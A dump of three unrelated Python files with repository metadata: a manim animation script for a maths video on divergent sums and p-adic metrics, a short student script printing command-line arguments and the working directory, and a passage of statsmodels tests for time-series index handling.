{"text": "#!/usr/bin/env python\n\nimport numpy as np\nimport itertools as it\nfrom copy import deepcopy\nimport sys\n\n\nfrom animation import *\nfrom mobject import *\nfrom constants import *\nfrom mobject.region import  *\nfrom scene import Scene\nfrom script_wrapper import command_line_create_scene\nfrom inventing_math import divergent_sum, draw_you\n\n\n\nclass SimpleText(Scene):\n    args_list = [\n         (\"Build the foundation of what we know\",),\n         (\"What would that feel like?\",),\n         (\"Arbitrary decisions hinder generality\",),\n         (\"Section 1: Discovering and Defining Infinite Sums\",),\n         (\"Section 2: Seeking Generality\",),\n         (\"Section 3: Redefining Distance\",),\n         (\"``Approach''?\",),\n         (\"Rigor would dictate you ignore these\",),\n         (\"dist($A$, $B$) = dist($A+x$, $B+x$) \\\\quad for all $x$\",),\n         (\"How does a useful distance function differ from a random function?\",),\n         (\"Pause now, if you like, and see if you can invent your own distance function from this.\",),\n         (\"$p$-adic metrics \\\\\\\\ ($p$ is any prime number)\",),\n         (\"This is not meant to match the history of discoveries\",),\n    ]\n    @staticmethod\n    def args_to_string(text):\n        return initials(filter(lambda c : c in string.letters + \" \", text))\n\n    def construct(self, text):\n        self.add(TextMobject(text))\n\n\nclass SimpleTex(Scene):\n    args_list = [\n        (\n            \"\\\\frac{9}{10}+\\\\frac{9}{100}+\\\\frac{9}{1000}+\\\\cdots = 1\",\n            \"SumOf9s\"\n        ),\n        (\n            \"0 < p < 1\",\n            \"PBetween0And1\"\n        ),\n    ]\n    @staticmethod\n    def args_to_string(expression, words):\n        return words\n\n    def construct(self, expression, words):\n        self.add(TexMobject(expression))\n\n\nclass OneMinusOnePoem(Scene):\n    def construct(self):\n        verse1 = TextMobject(\"\"\"\n            \\\\begin{flushleft}\n            When one takes one from one  \\\\\\\\\n            plus one from one plus one \\\\\\\\\n            and on and on but ends  \\\\\\\\\n            anon then starts again, \\\\\\\\\n            then some sums sum to one, \\\\\\\\\n            to zero other ones. \\\\\\\\\n            One wonders who'd have won \\\\\\\\\n            had stopping not been done; \\\\\\\\\n            had he summed every bit \\\\\\\\\n            until the infinite. \\\\\\\\\n            \\\\end{flushleft}\n        \"\"\").scale(0.5).to_corner(UP+LEFT)\n        verse2 = TextMobject(\"\"\"\n            \\\\begin{flushleft}\n            Lest you should think that such \\\\\\\\\n            less well-known sums are much \\\\\\\\\n            ado about nonsense \\\\\\\\\n            I do give these two cents: \\\\\\\\\n            The universe has got \\\\\\\\\n            an answer which is not \\\\\\\\\n            what most would first surmise, \\\\\\\\\n            it is a compromise, \\\\\\\\\n            and though it seems a laugh \\\\\\\\\n            the universe gives ``half''. \\\\\\\\\n            \\\\end{flushleft}\n        \"\"\").scale(0.5).to_corner(DOWN+LEFT)\n        equation = TexMobject(\n            \"1-1+1-1+\\\\cdots = \\\\frac{1}{2}\"\n        )\n        self.add(verse1, verse2, equation)\n        \nclass DivergentSum(Scene):\n    def construct(self):\n        self.add(divergent_sum().scale(0.75))\n\n\nclass PowersOfTwoSmall(Scene):\n    def construct(self):\n        you, bubble = draw_you(with_bubble=True)\n        bubble.write(\n            \"Is there any way in which apparently \\\n            large powers of two can be considered small?\"\n        )\n        self.add(you, bubble, bubble.content)\n\n\nclass FinalSlide(Scene):\n    def construct(self):\n        self.add(TextMobject(\"\"\"\n            \\\\begin{flushleft}\n            Needless to say, what I said here only scratches the \n            surface of the tip of the iceberg of the p-adic metric.  \n            What is this new form of number I referred to?\n            Why were distances in the 2-adic metric all powers of \n            $\\\\frac{1}{2}$ and not some other base?\n            Why does it only work for prime numbers? \\\\\\\\\n            \\\\quad \\\\\\\\\n            I highly encourage anyone who has not seen p-adic numbers\n            to look them up and learn more, but even more edifying than\n            looking them up will be to explore this idea for yourself directly.\n            What properties make a distance function useful, and why?\n            What do I mean by ``useful''?  Useful for what purpose?\n            Can you find infinite sums or sequences which feel like\n            they should converge in the 2-adic metric, but don't converge \n            to a rational number? Go on!  Search!  Invent!\n            \\\\end{flushleft}\n        \"\"\", size = \"\\\\small\"))\n\n\n\n\n", "meta": {"hexsha": "81273f873803e1c0aa5277e1e45ee92814e645eb", "size": 4605, "ext": "py", "lang": "Python", "max_stars_repo_path": "old_projects/inventing_math_images.py", "max_stars_repo_name": "S3L1M/Image-RGB-Ratio", "max_stars_repo_head_hexsha": "bd0d631166211d89e12acff0345a7754eb4e53a2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "old_projects/inventing_math_images.py", "max_issues_repo_name": "S3L1M/Image-RGB-Ratio", "max_issues_repo_head_hexsha": "bd0d631166211d89e12acff0345a7754eb4e53a2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "old_projects/inventing_math_images.py", "max_forks_repo_name": "S3L1M/Image-RGB-Ratio", "max_forks_repo_head_hexsha": "bd0d631166211d89e12acff0345a7754eb4e53a2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.6131386861, "max_line_length": 102, "alphanum_fraction": 0.5659066232, "include": true, "reason": "import numpy", "num_tokens": 1085, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814501625211, "lm_q2_score": 0.14608724518943894, "lm_q1q2_score": 0.0633991545175605}}
{"text": "import numpy as np    # numpy library\n\nimport matplotlib.pyplot as plt    # matplotlib pyplot\n\nimport sys      # gives access to C like sys library\n\nimport os       # gives access to the operating system\n\nprint(sys.argv)  # prints command line arguments including program name\n\nprint(os.getcwd())   # prints current working directory\n\n", "meta": {"hexsha": "17d39ba2b91f880f4a5065afdddf2b94254788ad", "size": 335, "ext": "py", "lang": "Python", "max_stars_repo_path": "astr-119-session-4/usefull_modules.py", "max_stars_repo_name": "jjohnst6260/astr-119", "max_stars_repo_head_hexsha": "20df66f3da0cbb3c03d213659e15f70dcbd762f3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "astr-119-session-4/usefull_modules.py", "max_issues_repo_name": "jjohnst6260/astr-119", "max_issues_repo_head_hexsha": "20df66f3da0cbb3c03d213659e15f70dcbd762f3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 11, "max_issues_repo_issues_event_min_datetime": "2021-09-25T20:02:46.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-08T23:57:57.000Z", "max_forks_repo_path": "astr-119-session-4/usefull_modules.py", "max_forks_repo_name": "jjohnst6260/astr-119", "max_forks_repo_head_hexsha": "20df66f3da0cbb3c03d213659e15f70dcbd762f3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.7692307692, "max_line_length": 71, "alphanum_fraction": 0.7343283582, "include": true, "reason": "import numpy", "num_tokens": 67, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.1500288167416304, "lm_q1q2_score": 0.06338787042902733}}
{"text": "\"\"\"\nTest index support in time series models\n\n1. Test support for passing / constructing the underlying index in __init__\n2. Test wrapping of output using the underlying index\n3. Test wrapping of prediction / forecasting using the underlying index or\n   extensions of it.\n\nAuthor: Chad Fulton\nLicense: BSD-3\n\"\"\"\nfrom __future__ import division, absolute_import, print_function\nfrom statsmodels.compat.testing import SkipTest\n\nimport warnings\nimport numpy as np\nimport pandas as pd\nimport pytest\n\nfrom numpy.testing import (assert_allclose, assert_almost_equal, assert_equal,\n                           assert_raises)\n\nfrom statsmodels.tsa.base import tsa_model\n\nnobs = 5\nbase_dta = np.arange(nobs)\ndta = [\n    base_dta.tolist(),\n    base_dta,\n    pd.Series(base_dta),\n    pd.DataFrame(base_dta)\n]\n\nbase_date_indexes = [\n    # (usual candidates)\n    pd.DatetimeIndex(start='1950-01-01', periods=nobs, freq='D'),\n    pd.DatetimeIndex(start='1950-01-01', periods=nobs, freq='W'),\n    pd.DatetimeIndex(start='1950-01-01', periods=nobs, freq='M'),\n    pd.DatetimeIndex(start='1950-01-01', periods=nobs, freq='Q'),\n    pd.DatetimeIndex(start='1950-01-01', periods=nobs, freq='A'),\n    # (some more complicated frequencies)\n    pd.DatetimeIndex(start='1950-01-01', periods=nobs, freq='2Q'),\n    pd.DatetimeIndex(start='1950-01-01', periods=nobs, freq='2QS'),\n    pd.DatetimeIndex(start='1950-01-01', periods=nobs, freq='5s'),\n    pd.DatetimeIndex(start='1950-01-01', periods=nobs, freq='1D10min')]\n\n# Note: we separate datetime indexes and period indexes because the\n# date coercion does not handle string versions of PeriodIndex objects\n# most of the time.\nbase_period_indexes = [\n    pd.PeriodIndex(start='1950-01-01', periods=nobs, freq='D'),\n    pd.PeriodIndex(start='1950-01-01', periods=nobs, freq='W'),\n    pd.PeriodIndex(start='1950-01-01', periods=nobs, freq='M'),\n    pd.PeriodIndex(start='1950-01-01', periods=nobs, freq='Q'),\n    pd.PeriodIndex(start='1950-01-01', periods=nobs, freq='A')]\ntry:\n    # Only later versions of pandas support these\n    base_period_indexes += [\n        pd.PeriodIndex(start='1950-01-01', periods=nobs, freq='2Q'),\n        pd.PeriodIndex(start='1950-01-01', periods=nobs, freq='5s'),\n        pd.PeriodIndex(start='1950-01-01', periods=nobs, freq='1D10min')]\nexcept:\n    pass\n\ndate_indexes = [\n    (x, None) for x in base_date_indexes]\nperiod_indexes = [\n    (x, None) for x in base_period_indexes]\n\nnumpy_datestr_indexes = [\n    (x.map(str), x.freq) for x in base_date_indexes]\nlist_datestr_indexes = [\n    (x.tolist(), y) for x, y in numpy_datestr_indexes]\nseries_datestr_indexes = [\n    (pd.Series(x), y) for x, y in list_datestr_indexes]\n\nnumpy_datetime_indexes = [\n    (x.to_datetime().to_pydatetime(), x.freq)\n    for x in base_date_indexes]\nlist_datetime_indexes = [\n    (x.tolist(), y) for x, y in numpy_datetime_indexes]\nseries_datetime_indexes = [\n    (pd.Series(x, dtype=object), y) for x, y in list_datetime_indexes]\n\nseries_timestamp_indexes = [\n    (pd.Series(x), x.freq) for x in base_date_indexes]\n\n# Supported increment indexes\nsupported_increment_indexes = [(pd.Int64Index(np.arange(nobs)), None)]\n\n# Supported date indexes\n# Only the Int64Index and the `date_indexes` are valid without\n# frequency information\nsupported_date_indexes = (\n    numpy_datestr_indexes +\n    list_datestr_indexes + series_datestr_indexes +\n    numpy_datetime_indexes + list_datetime_indexes +\n    series_datetime_indexes + series_timestamp_indexes)\n\n# Unsupported (but still valid) indexes\nunsupported_indexes = [\n    # Non-incrementing-from-zero indexes\n    (np.arange(1, nobs+1), None),\n    (np.arange(nobs)[::-1], None),\n    # Float indexes, even if they increment from zero\n    (np.arange(nobs) * 1.0, None),\n    # Non-date-string indexes\n    ([x for x in 'abcde'], None),\n    # Non-date-object indexes\n    ([str, 1, 'a', -30.1, {}], None),\n]\n\n# Unsupported date indexes (i.e. those without inferrable frequency)\nunsupported_date_indexes = [\n    (['1950', '1952', '1941', '1954', '1991'], None),\n    (['1950-01-01', '1950-01-02', '1950-01-03',\n      '1950-01-04', '1950-01-06'], None)\n]\n\n\ndef test_instantiation_valid():\n    tsa_model.__warningregistry__ = {}\n\n    # The primary goal of this test function is to make sure the\n    # combinations that are supposed to be valid are actually valid, and\n    # that valid but unsupported options give the appropriate warning\n    # Secondarily, it also has some tests that invalid combinations raise\n    # exceptions, although it's not intended to be comprehensive.\n    #\n    # Each of `endog`, `exog` can be in the following categories:\n    # 0. None (only for exog)\n    # 1. list\n    # 2. numpy array\n    # 3. pandas series\n    # 4. pandas dataframe\n    #\n    # Each pandas index (of `endog`, `exog`, or passed to `dates`) can be:\n    # 0. None\n    # 1. Int64Index with values exactly equal to 0, 1, ..., nobs-1\n    # 2. DatetimeIndex with frequency\n    # 3. PeriodIndex with frequency\n    # 4. Anything that doesn't fall into the above categories also should\n    #    only raise an exception if it was passed to dates, and may trigger\n    #    a warning otherwise.\n    #\n    # `date` can be one of the following:\n    # 0. None\n    # 2. Pandas index #2\n    # 3. Pandas index #3\n    # 4. List of date strings (requires freq)\n    # 5. List of datetime objects (requires freq)\n    # 6. Array of date strings (requires freq)\n    # 7. Array of datetime objects (requires freq)\n    # 8. Series of date strings (requires freq)\n    # 9. Series of datetime objects (requires freq)\n    # 10. Series of pandas timestamps (requires freq)\n    # 11. Anything that doesn't fall into the above categories should raise\n    #     an exception.\n    #\n    # `freq` can be:\n    # 0. None\n    # 1. Something that can be passed to `pd.to_offset`\n    # 2. Anything that can't should raise an Exception\n    #\n    # Each test will be denoted by:\n    # endog.index:exog.index/date/freq where the corresponding\n    # location is the integer from above; e.g. 1.0:0.0/9/1 corresponds to\n    # - List endog (with no index)\n    # - No exog\n    # - Series of datetime objects\n    # - Something valid for `pd.to_offset` (e.g. 'D', if that works with\n    #   dates)\n    #\n    # Notice that the endog.index:exog.index really collapses to a single\n    # element, which is the evaluated `row_label`. This is first the exog\n    # index, if exists, then the endog index, if it exists, or None\n    # otherwise. **Thus, we will not test `exog` here.**\n    #\n    # Example valid combinations of row_label/date/freq include:\n    # - */0/0 (i.e. anything is valid if date and freq are not passed)\n    # - */%/% where %/% denotes a valid date/freq combination (i.e. any\n    #   row_label is valid if a valid date/freq combination is given)\n    #\n    # Example invalid combinations include:\n    # - [1-2],[3-4].4/0/[1-2] (i.e. if have freq, then must have, or\n    #   coerce, a date index)\n    # - */[4-10]/0 (i.e. for some types of dates, freq must be passed)\n\n    # Baseline: list, numpy endog with no dates, no freq\n    for endog in dta[:2]:\n        # No indexes, should not raise warnings\n        with warnings.catch_warnings():\n            warnings.simplefilter('error')\n\n            mod = tsa_model.TimeSeriesModel(endog)\n            assert_equal(type(mod._index) == pd.Int64Index, True)\n            assert_equal(mod._index_none, True)\n            assert_equal(mod._index_dates, False)\n            assert_equal(mod._index_generated, True)\n            assert_equal(mod.data.dates, None)\n            assert_equal(mod.data.freq, None)\n\n    # Test list, numpy endog, pandas w/o index; with dates / freq argument\n    for endog in dta:\n        # Supported date indexes, should not raise warnings, do not need freq\n        with warnings.catch_warnings():\n            warnings.simplefilter('error')\n\n            for ix, freq in date_indexes + period_indexes:\n                mod = tsa_model.TimeSeriesModel(endog, dates=ix)\n                if freq is None:\n                    freq = ix.freq\n                if not isinstance(freq, str):\n                    freq = freq.freqstr\n                assert_equal(\n                    isinstance(mod._index, (pd.DatetimeIndex, pd.PeriodIndex)),\n                    True)\n                assert_equal(mod._index_none, False)\n                assert_equal(mod._index_dates, True)\n                assert_equal(mod._index_generated, False)\n                assert_equal(mod._index.freq, mod._index_freq)\n                assert_equal(mod.data.dates.equals(mod._index), True)\n                assert_equal(mod.data.freq, freq)\n\n        # Supported date indexes, should not raise warnings, can use valid freq\n        with warnings.catch_warnings():\n            warnings.simplefilter('error')\n\n            for ix, freq in date_indexes + period_indexes:\n                mod = tsa_model.TimeSeriesModel(endog, dates=ix, freq=freq)\n                if freq is None:\n                    freq = ix.freq\n                if not isinstance(freq, str):\n                    freq = freq.freqstr\n                assert_equal(\n                    isinstance(mod._index, (pd.DatetimeIndex, pd.PeriodIndex)),\n                    True)\n                assert_equal(mod._index_none, False)\n                assert_equal(mod._index_dates, True)\n                assert_equal(mod._index_generated, False)\n                assert_equal(mod._index.freq, mod._index_freq)\n                assert_equal(mod.data.dates.equals(mod._index), True)\n                assert_equal(mod.data.freq, freq)\n\n        # Other supported indexes, with valid freq, should not raise warnings\n        with warnings.catch_warnings():\n            warnings.simplefilter('error')\n\n            for ix, freq in supported_date_indexes:\n                mod = tsa_model.TimeSeriesModel(endog, dates=ix, freq=freq)\n                if freq is None:\n                    freq = ix.freq\n                if not isinstance(freq, str):\n                    freq = freq.freqstr\n                assert_equal(\n                    isinstance(mod._index, (pd.DatetimeIndex, pd.PeriodIndex)),\n                    True)\n                assert_equal(mod._index_none, False)\n                assert_equal(mod._index_dates, True)\n                assert_equal(mod._index_generated, False)\n                assert_equal(mod._index.freq, mod._index_freq)\n                assert_equal(mod.data.dates.equals(mod._index), True)\n                assert_equal(mod.data.freq, freq)\n\n        # Since only supported indexes are valid `dates` arguments, everything\n        # else is invalid here\n        for ix, freq in supported_increment_indexes + unsupported_indexes:\n            assert_raises(ValueError, tsa_model.TimeSeriesModel, endog,\n                          dates=ix)\n\n    # Test pandas (Series, DataFrame); with index (no dates/freq argument)\n    for base_endog in dta[2:4]:\n        # DatetimeIndex and PeriodIndex, should not raise warnings\n        with warnings.catch_warnings():\n            warnings.simplefilter('error')\n\n            for ix, freq in date_indexes + period_indexes:\n                endog = base_endog.copy()\n                endog.index = ix\n\n                mod = tsa_model.TimeSeriesModel(endog)\n                if freq is None:\n                    freq = ix.freq\n                if not isinstance(freq, str):\n                    freq = freq.freqstr\n                assert_equal(\n                    isinstance(mod._index, (pd.DatetimeIndex, pd.PeriodIndex)),\n                    True)\n                assert_equal(mod._index_none, False)\n                assert_equal(mod._index_dates, True)\n                assert_equal(mod._index_generated, False)\n                assert_equal(mod._index.freq, mod._index_freq)\n                assert_equal(mod.data.dates.equals(mod._index), True)\n                assert_equal(mod.data.freq, freq)\n\n        # Increment index (this is a \"supported\" index in the sense that it\n        # doesn't raise a warning, but obviously not a date index)\n        endog = base_endog.copy()\n        endog.index = supported_increment_indexes[0][0]\n\n        mod = tsa_model.TimeSeriesModel(endog)\n        assert_equal(type(mod._index) == pd.Int64Index, True)\n        assert_equal(mod._index_none, False)\n        assert_equal(mod._index_dates, False)\n        assert_equal(mod._index_generated, False)\n        assert_equal(mod._index_freq, None)\n        assert_equal(mod.data.dates, None)\n        assert_equal(mod.data.freq, None)\n\n        # Supported indexes *when a freq is given*, should not raise a warning\n        with warnings.catch_warnings():\n            warnings.simplefilter('error')\n\n            for ix, freq in supported_date_indexes:\n                endog = base_endog.copy()\n                endog.index = ix\n\n                mod = tsa_model.TimeSeriesModel(endog, freq=freq)\n                if freq is None:\n                    freq = ix.freq\n                if not isinstance(freq, str):\n                    freq = freq.freqstr\n                assert_equal(\n                    isinstance(mod._index, (pd.DatetimeIndex, pd.PeriodIndex)),\n                    True)\n                assert_equal(mod._index_none, False)\n                assert_equal(mod._index_dates, True)\n                assert_equal(mod._index_generated, False)\n                assert_equal(mod._index.freq, mod._index_freq)\n                assert_equal(mod.data.dates.equals(mod._index), True)\n                assert_equal(mod.data.freq, freq)\n\n        # Unsupported (or any) indexes to the given series, *when a supported\n        # date and freq is given*, should not raise a warning\n        with warnings.catch_warnings():\n            warnings.simplefilter('error')\n\n            for ix, freq in supported_date_indexes:\n                endog = base_endog.copy()\n                endog.index = unsupported_indexes[0][0]\n\n                mod = tsa_model.TimeSeriesModel(endog, dates=ix, freq=freq)\n                if freq is None:\n                    freq = ix.freq\n                if not isinstance(freq, str):\n                    freq = freq.freqstr\n                assert_equal(\n                    isinstance(mod._index, (pd.DatetimeIndex, pd.PeriodIndex)),\n                    True)\n                assert_equal(mod._index_none, False)\n                assert_equal(mod._index_dates, True)\n                assert_equal(mod._index_generated, False)\n                assert_equal(mod._index.freq, mod._index_freq)\n                assert_equal(mod.data.dates.equals(mod._index), True)\n                assert_equal(mod.data.freq, freq)\n\n        # Date indexes with inferrable freq, but no given freq, should all give\n        # warnings\n        message = ('No frequency information was provided,'\n                   ' so inferred frequency %s will be used.')\n        with warnings.catch_warnings(record=True) as w:\n            warnings.simplefilter('always')\n\n            for ix, freq in supported_date_indexes:\n                endog = base_endog.copy()\n                endog.index = ix\n                mod = tsa_model.TimeSeriesModel(endog)\n                if freq is None:\n                    freq = ix.freq\n                if not isinstance(freq, str):\n                    freq = freq.freqstr\n                assert_equal(type(mod._index) == pd.DatetimeIndex, True)\n                assert_equal(mod._index_none, False)\n                assert_equal(mod._index_dates, True)\n                assert_equal(mod._index_generated, False)\n                assert_equal(mod._index.freq, mod._index_freq)\n                assert_equal(mod.data.dates.equals(mod._index), True)\n\n                # Note: here, we need to hedge the test a little bit because\n                # inferred frequencies aren't always the same as the original\n                # frequency. From the examples above, when the actual freq is\n                # 2QS-OCT, the inferred freq is 2QS-JAN. This is an issue with\n                # inferred frequencies, but since we are warning the user, it's\n                # not a failure of the code. Thus we only test the \"major\" part\n                # of the freq, and just test that the right message is given\n                # (even though it won't have the actual freq of the data in\n                # it).\n                assert_equal(mod.data.freq.split('-')[0], freq.split('-')[0])\n                assert_equal(str(w[-1].message), message % mod.data.freq)\n\n        # Unsupported (but valid) indexes, should all give warnings\n        message = ('An unsupported index was provided and will be'\n                   ' ignored when e.g. forecasting.')\n        with warnings.catch_warnings(record=True) as w:\n            warnings.simplefilter('always')\n\n            for ix, freq in unsupported_indexes:\n                endog = base_endog.copy()\n                endog.index = ix\n                mod = tsa_model.TimeSeriesModel(endog)\n                assert_equal(type(mod._index) == pd.Int64Index, True)\n                assert_equal(mod._index_none, False)\n                assert_equal(mod._index_dates, False)\n                assert_equal(mod._index_generated, True)\n                assert_equal(mod._index_freq, None)\n                assert_equal(mod.data.dates, None)\n                assert_equal(mod.data.freq, None)\n\n                assert_equal(str(w[0].message), message)\n\n        # Date indexes without inferrable freq, and with no given freq, should\n        # all give warnings\n        message = ('A date index has been provided, but it has no'\n                   ' associated frequency information and so will be'\n                   ' ignored when e.g. forecasting.')\n        with warnings.catch_warnings(record=True) as w:\n            warnings.simplefilter('always')\n\n            for ix, freq in unsupported_date_indexes:\n                endog = base_endog.copy()\n                endog.index = ix\n                mod = tsa_model.TimeSeriesModel(endog)\n                assert_equal(type(mod._index) == pd.Int64Index, True)\n                assert_equal(mod._index_none, False)\n                assert_equal(mod._index_dates, False)\n                assert_equal(mod._index_generated, True)\n                assert_equal(mod._index_freq, None)\n                assert_equal(mod.data.dates, None)\n                assert_equal(mod.data.freq, None)\n\n                assert_equal(str(w[0].message), message)\n\n    # Test (invalid) freq with no index\n    endog = dta[0]\n    assert_raises(ValueError, tsa_model.TimeSeriesModel, endog,\n                  freq=date_indexes[1][0].freq)\n\n    # Test conflicting index, freq specifications\n    endog = dta[2].copy()\n    endog.index = date_indexes[0][0]\n    assert_raises(ValueError, tsa_model.TimeSeriesModel, endog,\n                  freq=date_indexes[1][0].freq)\n\n    # Test unsupported index, but a freq specification\n    endog = dta[2].copy()\n    endog.index = unsupported_indexes[0][0]\n    assert_raises(ValueError, tsa_model.TimeSeriesModel, endog,\n                  freq=date_indexes[1][0].freq)\n\n    # Test index that can coerce to date time but incorrect freq\n    endog = dta[2].copy()\n    endog.index = numpy_datestr_indexes[0][0]\n    assert_raises(ValueError, tsa_model.TimeSeriesModel, endog,\n                  freq=date_indexes[1][0].freq)\n\n\ndef test_prediction_increment_unsupported():\n    # a. Generated from unsupported index\n    endog = dta[2].copy()\n    endog.index = unsupported_indexes[-2][0]\n    with warnings.catch_warnings(record=True) as w:\n        warnings.simplefilter('ignore')\n        mod = tsa_model.TimeSeriesModel(endog)\n\n    # Basic prediction: [0, end]; notice that since this is an in-sample\n    # prediction, the index returned is the (unsupported) original index\n    start_key = 0\n    end_key = None\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 0)\n    assert_equal(end, nobs-1)\n    assert_equal(out_of_sample, 0)\n    assert_equal(prediction_index.equals(mod.data.row_labels), True)\n\n    # Negative index: [-2, end]; notice that since this is an in-sample\n    # prediction, the index returned is a piece of the (unsupported)\n    # original index\n    start_key = -2\n    end_key = -1\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 3)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 0)\n    assert_equal(prediction_index.equals(mod.data.row_labels[3:]), True)\n\n    # Forecasting: [1, 5], notice that since an unsupported index was given,\n    # a warning will be issued\n    start_key = 1\n    end_key = nobs\n    message = ('No supported index is available.'\n               ' Prediction results will be given with'\n               ' an integer index beginning at `start`.')\n    with warnings.catch_warnings(record=True) as w:\n        warnings.simplefilter('always')\n\n        start, end, out_of_sample, prediction_index = (\n            mod._get_prediction_index(start_key, end_key))\n\n        assert_equal(str(w[0].message), message)\n\n    assert_equal(start, 1)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 1)\n    assert_equal(prediction_index.equals(pd.Index(np.arange(1, 6))), True)\n\n\ndef test_prediction_increment_nonpandas():\n    endog = dta[0]\n    mod = tsa_model.TimeSeriesModel(endog)\n\n    # Basic prediction: [0, end]; since there was no index at all and the data\n    # is not Pandas, the returned prediction_index is None\n    start_key = 0\n    end_key = None\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 0)\n    assert_equal(end, nobs-1)\n    assert_equal(out_of_sample, 0)\n    assert_equal(prediction_index is None, True)\n\n    # Negative index: [-2, end]; since there was no index at all and the data\n    # is not Pandas, the returned prediction_index is None\n    start_key = -2\n    end_key = -1\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 3)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 0)\n    assert_equal(prediction_index is None, True)\n\n    # Forecasting: [1, 5]; since there was no index at all and the data\n    # is not Pandas, the returned prediction_index is None\n    start_key = 1\n    end_key = nobs\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 1)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 1)\n    assert_equal(prediction_index is None, True)\n\n\ndef test_prediction_increment_pandas_noindex():\n    endog = dta[2].copy()\n    mod = tsa_model.TimeSeriesModel(endog)\n\n    # Basic prediction: [0, end]; since there was no index and the data is\n    # Pandas, the index is the generated incrementing index, and no warning is\n    # issued\n    start_key = 0\n    end_key = None\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 0)\n    assert_equal(end, nobs-1)\n    assert_equal(out_of_sample, 0)\n    assert_equal(prediction_index.equals(mod._index), True)\n\n    # Negative index: [-2, end]; since there was no index and the data is\n    # Pandas, the index is the generated incrementing index, and no warning is\n    # issued\n    start_key = -2\n    end_key = -1\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 3)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 0)\n    assert_equal(prediction_index.equals(mod._index[3:]), True)\n\n    # Forecasting: [1, 5]; since there was no index and the data is\n    # Pandas, the index is the generated incrementing index, and no warning is\n    # issued\n    start_key = 1\n    end_key = nobs\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 1)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 1)\n    assert_equal(prediction_index.equals(pd.Index(np.arange(1, 6))), True)\n\n\ndef test_prediction_increment_pandas_dates():\n    # Date-based index\n    endog = dta[2].copy()\n    endog.index = date_indexes[0][0]  # Daily, 1950-01-01, 1950-01-02, ...\n    mod = tsa_model.TimeSeriesModel(endog)\n\n    # Basic prediction: [0, end]; the index is the date index\n    start_key = 0\n    end_key = None\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 0)\n    assert_equal(end, nobs-1)\n    assert_equal(out_of_sample, 0)\n    assert_equal(type(prediction_index) == type(endog.index), True)\n    assert_equal(prediction_index.equals(mod._index), True)\n\n    # Negative index: [-2, end]\n    start_key = -2\n    end_key = -1\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 3)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 0)\n    assert_equal(type(prediction_index) == type(endog.index), True)\n    assert_equal(prediction_index.equals(mod._index[3:]), True)\n\n    # Forecasting: [1, 5]; the index is an extended version of the date index\n    start_key = 1\n    end_key = nobs\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 1)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 1)\n    desired_index = pd.DatetimeIndex(start='1950-01-02', periods=5, freq='D')\n    assert_equal(prediction_index.equals(desired_index), True)\n\n    # Date-based keys\n    start_key = '1950-01-01'\n    end_key = '1950-01-08'\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 0)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 3)\n    desired_index = pd.DatetimeIndex(start='1950-01-01', periods=8, freq='D')\n    assert_equal(prediction_index.equals(desired_index), True)\n\n\ndef test_prediction_increment_pandas_dates_nanosecond():\n    # This test is only valid if the version of Pandas has nanosecond support\n    # and is > 0.14\n    try:\n        # Date-based index\n        endog = dta[2].copy()\n        endog.index = pd.DatetimeIndex(start='1970-01-01', periods=len(endog),\n                                       freq='N')\n        mod = tsa_model.TimeSeriesModel(endog)\n    except:\n        raise SkipTest\n\n    # Basic prediction: [0, end]; the index is the date index\n    start_key = 0\n    end_key = None\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 0)\n    assert_equal(end, nobs-1)\n    assert_equal(out_of_sample, 0)\n    assert_equal(type(prediction_index) == type(endog.index), True)\n    assert_equal(prediction_index.equals(mod._index), True)\n\n    # Negative index: [-2, end]\n    start_key = -2\n    end_key = -1\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 3)\n    assert_equal(end, 